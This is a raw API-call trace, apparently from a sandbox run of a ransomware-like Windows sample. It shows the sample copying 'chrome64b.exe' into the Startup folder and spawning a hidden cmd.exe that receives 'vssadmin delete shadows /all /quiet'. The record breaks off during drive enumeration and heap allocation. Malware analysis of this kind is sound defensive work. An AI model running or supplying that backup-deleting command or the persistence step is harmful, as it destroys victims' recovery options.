ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x6a9130, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x4b [0250.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6b9138 | out: hHeap=0x640000) returned 1 [0250.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a9130 | out: hHeap=0x640000) returned 1 [0250.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x2425020 [0250.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801e0 [0250.107] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801e0, Size=0x20) returned 0x680628 [0250.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6800f0 [0250.108] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6800f0, Size=0x20) returned 0x680858 [0250.108] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.108] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.108] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0250.108] lstrlenW (lpString="kernel32.dll") returned 12 [0250.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680628 | out: hHeap=0x640000) returned 1 [0250.108] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680858 | out: hHeap=0x640000) returned 1 [0250.108] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0250.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.109] CloseHandle (hObject=0x244) returned 1 [0250.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680318 [0250.109] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680318, Size=0x20) returned 0x6805d8 [0250.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801e0 [0250.109] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801e0, Size=0x20) returned 0x680970 [0250.109] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.109] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.109] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0250.109] lstrlenW (lpString="kernel32.dll") returned 12 [0250.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680970 | out: hHeap=0x640000) returned 1 [0250.109] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6805d8 | out: hHeap=0x640000) returned 1 [0250.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2425020 | out: hHeap=0x640000) returned 1 [0250.133] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x689120 | out: hHeap=0x640000) returned 1 [0250.133] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699128 | out: hHeap=0x640000) returned 1 [0250.135] lstrlenW (lpString="%windir%\\System32") returned 17 [0250.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f420 | out: hHeap=0x640000) returned 1 [0250.135] lstrlenW (lpString="%appdata%") returned 9 [0250.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680538 | out: hHeap=0x640000) returned 1 [0250.135] lstrlenW (lpString="%sh(Startup)%") returned 13 [0250.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6808f8 | out: hHeap=0x640000) returned 1 [0250.135] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0250.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f930 | out: hHeap=0x640000) returned 1 [0250.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6802d0 [0250.135] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6802d0, Size=0x20) returned 0x680970 [0250.135] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680970, Size=0x40) returned 0x65f300 [0250.135] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f300, Size=0x80) returned 0x6869e8 [0250.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680318 [0250.135] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680318, Size=0x20) returned 0x6804e8 [0250.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1fffc) returned 0x689120 [0250.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6a9128 [0250.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6b9130 [0250.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0250.136] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x6807b8 [0250.136] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6807b8, Size=0x40) returned 0x65f588 [0250.136] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f588, Size=0x80) returned 0x686630 [0250.136] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686630, Size=0x100) returned 0x687070 [0250.137] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0250.137] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687070 | out: hHeap=0x640000) returned 1 [0250.137] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6a9128, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0250.137] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6b9130 | out: hHeap=0x640000) returned 1 [0250.137] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a9128 | out: hHeap=0x640000) returned 1 [0250.138] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0250.141] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0250.141] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0250.143] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0250.143] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xd34, dwThreadId=0xd38)) returned 1 [0250.259] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0250.259] WriteFile (in: hFile=0x24c, lpBuffer=0x6869e8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6869e8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0250.259] CloseHandle (hObject=0x25c) returned 1 [0250.259] CloseHandle (hObject=0x258) returned 1 [0250.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x689120 | out: hHeap=0x640000) returned 1 [0250.259] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0250.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6869e8 | out: hHeap=0x640000) returned 1 [0250.259] lstrlenW (lpString="%comspec%") returned 9 [0250.259] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6804e8 | out: hHeap=0x640000) returned 1 [0250.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0250.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680258 [0250.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x680258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0250.260] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d10 [0250.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x680d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0250.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6800f0 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6800f0, Size=0x20) returned 0x680808 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680808, Size=0x40) returned 0x65f300 [0250.261] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0250.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd0) returned 0x65b3e0 [0250.261] GetLogicalDrives () returned 0x4 [0250.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10014) returned 0x689120 [0250.261] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680150 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680150, Size=0x20) returned 0x6804e8 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6804e8, Size=0x40) returned 0x65f6f0 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f6f0, Size=0x80) returned 0x686388 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686388, Size=0x100) returned 0x687ab0 [0250.261] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x200) returned 0x687ab0 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x400) returned 0x699140 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x699140, Size=0x800) returned 0x699140 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x699140, Size=0x1000) returned 0x699140 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x69a148 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801e0 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680270 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x680d00 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x680120 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4) returned 0x680d90 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6802b8 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680d90, Size=0x8) returned 0x680d30 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6802d0 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680d30, Size=0x10) returned 0x680318 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680150 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680378 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680318, Size=0x20) returned 0x680790 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680090 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680ca0 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6800c0 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6800d8 [0250.262] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680790, Size=0x40) returned 0x65f738 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x680318 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6800f0 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6803a8 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6803c0 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680408 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680420 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d60 [0250.262] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680438 [0250.263] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f738, Size=0x80) returned 0x686960 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680390 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6803d8 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6803f0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x680450 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa8a0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa840 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa798 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d20 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa888 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa858 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa930 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa810 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa8b8 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa8d0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa7b0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa828 [0250.263] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686960, Size=0x100) returned 0x687ab0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa7e0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa870 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa8e8 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6aa7f8 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa900 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa918 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d90 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa780 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa7c8 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa3f0 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x680d40 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa438 [0250.263] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa210 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d30 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa3c0 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa390 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa408 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa2b8 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa1b0 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa360 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe) returned 0x6aa450 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa378 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6aa228 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa420 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa288 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa468 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa180 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d80 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa2d0 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa1f8 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa1c8 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa330 [0250.264] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x200) returned 0x687ab0 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa1e0 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e00 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa3d8 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa270 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa198 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa348 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa2a0 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa240 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa2e8 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa3a8 [0250.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa258 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa300 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa318 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa5a0 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa4b0 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa498 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa540 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa648 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa5b8 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa6f0 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa738 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa660 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa600 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680da0 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa678 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa4f8 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa690 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680d70 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa6a8 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa750 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa528 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa6d8 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa768 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa510 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa5d0 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa480 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa588 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa5e8 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa720 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa618 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa630 [0250.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa4c8 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa4e0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa708 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa6c0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa570 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa558 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaa60 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aac58 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e30 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x680db0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa9b8 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aab98 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa9e8 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaaf0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aab80 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aa9a0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa9d0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aabb0 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aabc8 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaa00 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aab08 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aab20 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaac0 [0250.266] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x687ab0, Size=0x400) returned 0x6ab160 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aac28 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aab38 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aab50 [0250.266] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aabe0 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aab68 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaad8 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aaa30 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aabf8 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aac10 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaa78 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8) returned 0x680e10 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaa18 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc) returned 0x6aac40 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aac70 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaaa8 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aaa90 [0250.267] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa) returned 0x6aa988 [0250.267] RtlAllocateHeap 